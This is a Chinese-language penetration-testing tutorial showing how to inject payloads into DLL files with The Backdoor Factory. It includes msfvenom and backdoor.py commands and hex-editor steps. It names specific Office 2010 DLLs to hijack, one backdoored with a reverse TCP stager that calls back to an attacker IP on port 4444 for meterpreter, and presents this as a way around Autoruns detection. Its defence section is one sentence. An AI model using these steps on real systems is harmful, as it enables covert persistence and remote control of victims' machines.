利用 BDF 向 DLL 文件植入后门
0x00 前言
在之前的文章 《利用 BDF 向 EXE 文件植入后门》 介绍了使用 The Backdoor Factory 向 EXE 文件植入后门的方法,这次将要介绍向 DLL 文件植入后门的思路,演示一种 DLL 劫持的利用方法,总结该方法的特点,分析防御思路
0x01 简介
本文将要介绍以下内容:
- 劫持自己的 DLL,修复 BUG
- 劫持系统的 DLL,绕过 Autoruns 的后门检测
0x02 利用思路
DLL 同 EXE 文件的植入思路相同,也是通过修改程序的执行流程,跳转到 Code Caves,执行 payload,再返回至程序的正常流程
DLL 同 EXE 文件最大的区别是多了导出函数的功能
在实现 DLL 劫持时,常常需要获得原 DLL 的导出函数,模拟导出函数,添加 payload,实现利用
那么,The Backdoor Factory 在 DLL 文件的后门植入上,是否要考虑导出函数呢?
下面进行测试,得出结论
0x03 编写程序进行测试
测试 Dll testdll.dll:
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//MessageBox(NULL, NULL, NULL, 0);
//Sleep(5000);
printf("[+] DLL_PROCESS_ATTACH\n");
case DLL_THREAD_ATTACH:
printf("[+] DLL_THREAD_ATTACH\n");
case DLL_THREAD_DETACH:
printf("[+] DLL_THREAD_DETACH\n");
case DLL_PROCESS_DETACH:
printf("[+] DLL_PROCESS_DETACH\n");
break;
}
return TRUE;
}
void Export1()
{
printf("[+] Export1\n");
}
导出函数为 Export1
Dll 加载程序 loader.exe:
#include <windows.h>
typedef void(*Export)();
int main(int argc, char* argv[])
{
Export exporttest;
printf("[*] LoadLibrary\n");
HMODULE hDllLib = LoadLibrary("testdll.dll");
exporttest=(Export)GetProcAddress(hDllLib ,"Export1");
exporttest();
Sleep(10000);
FreeLibrary(hDllLib);
printf("[*] FreeLibrary\n");
return 0;
}
程序执行如下图,加载 testdll.dll,调用导出函数 Export1
使用 The Backdoor Factory 为 DLL 文件添加后门:
msfvenom -p windows/exec CMD=calc.exe -f raw >calc.bin
./backdoor.py -f testdll.dll -s user_supplied_shellcode_threaded -U calc.bin -a
再次执行 loader.exe,测试如下图
成功执行 payload,但是改变了程序流程,无法正常返回 FreeLibrary
需要对 DLL 进行调试,找到出错的原因
首先生成空的跳转模板:
./backdoor.py -f testdll.dll -s cave_miner_inline
选择 .text
段
执行 Loader.exe,程序一切正常,那么就是中间的 payload 出了问题
使用 Immunity Debugger 打开新的 testdll.dll,找到劫持的位置,payload 保存在 0x10005716
如下图
这里可以推测,payload 只要能够保持堆栈平衡,那么就不会影响程序的正常执行
接下来,在 0x10005716
处填入我们的 payload
可以使用 CFF Explorer
添加 payload
首先定位 payload 起始点
PUSHAD
PUSHFD
对应的 16 进制代码为 609C
在 CFF Explorer 中切换到 Hex Editor 视图,搜索 609C
,定位起始点 0x0000571A
注:
通过 Immunity Debugger 获得的内存虚拟地址为 0x1000571A
,二者对应,位置正确
为了扩大 payload 空间,可以将后面的调整堆栈平衡代码整体后移
如下图
将 0x0005772
- 0x0000579E
的数据整体后移,中间填入 0x90
选中该部分内容, 右键
- Copy
- Hex
找到合适的位置, 右键
- Fill With...
完整操作如下图
依此方法,中间填入修改后的 payload 即可,完成 Bug 修复
通过 Immunity Debugger 查看 DLL 文件,可以看到 The Backdoor Factory 对 DLL 和 EXE 文件进行跳转劫持的位置一样
如下图
得出结论:
对于 DLL 文件来说,劫持初始化部分造成的结果是在 LoadLibrary
时即可执行 payload,如果想在程序加载 DLL 导出函数时执行 payload,将跳转代码改到导出函数内即可
0x04 劫持系统的 DLL
针对 Office 2010,分享几个自己找到的 DLL 劫持利用位置
1、劫持 Word-审阅试图
LOCALSVC.DLL,位于 C:\Program Files\Common Files\microsoft shared\RRLoc14\
对该 dll 添加 payload
./backdoor.py -f LOCALSVC.DLL -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded
替换 dll(需要管理员权限),启动 word.exe,切换至审阅视图,弹回 meterpreter
测试如下图
2、劫持 word-插入-图片
tiptsf.dll,位于 C:\Program Files\Common Files\microsoft shared\ink\
需要 TrustedInstaller
权限才能替换
关于如何获得 TrustedInstaller
权限,可参考文章 《渗透技巧——Token 窃取与利用》
3、劫持 word-文件
也影响别的位置:
word -页面布局-主题-浏览主题
GrooveIntlResource.dll,位于 C:\Program Files\Microsoft Office\Office14\2052
需要管理员权限
4、劫持 Excel-插入-图片
MSPTLS.DLL,位于 C:\Program Files\Common Files\microsoft shared\OFFICE14\
需要管理员权限
以上测试如下图
注:
本节内容仅为了演示 DLL 劫持的一些利用方法,这些特殊的劫持位置只会在软件的特定功能打开时才会启动,所以能够绕过 Autoruns 的检测
0x05 防御
对于系统 DLL,通过会带有微软签名,如果对 DLL 植入后门,签名会失效,这是一个老生常谈的问题,而对于第三方开发的软件,调用的第三方 DLL 不加签名,那么被利用的风险很大。
0x06 小结
本文测试了使用 The Backdoor Factory 向 DLL 文件植入后门的方法,介绍修复 BUG 的思路,分享了一种 DLL 劫持的利用方法,仅供测试,通过总结该利用方法的特点,简要介绍了防御方面需要注意的问题。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论